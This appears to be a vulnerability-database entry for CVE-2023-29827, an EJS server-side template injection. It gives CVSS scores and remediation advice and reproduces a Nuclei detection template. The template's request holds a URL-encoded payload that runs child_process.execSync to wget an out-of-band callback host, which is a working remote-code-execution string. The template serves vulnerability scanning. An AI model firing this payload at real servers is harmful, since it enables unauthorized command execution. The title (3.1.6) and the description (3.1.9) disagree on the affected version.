Embedded JavaScript(EJS) 3.1.6 - Template Injection

2024-05-1407:52:09

ProjectDiscovery

github.com

cve

cve2023

ssti

rce

ejs

oast

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.101 Low

EPSS

Percentile

95.0%

JSON

ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.

id: CVE-2023-29827

info:
  name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
  author: ritikchaddha
  severity: critical
  description: |
    ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
  impact: |
    High impact as it enables remote code execution.
  remediation: |
    Update EJS to the latest version to mitigate the vulnerability.
  reference:
    - https://github.com/mde/ejs/issues/720
    - https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29827
    cwe-id: CWE-74
    epss-score: 0.09885
    epss-percentile: 0.94826
    cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2023,ssti,rce,ejs,oast,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"
# digest: 4a0a00473045022040fbd22e716c79b0a20e657462a64ef99f5cd107f15eb5f771858c4851b9044e022100ecf3549f0a01b1fa01303dae9809365f29e5ea69118cf7de34bd0ca2e9ba9614:922c64590222798bb761d5b6d8e72950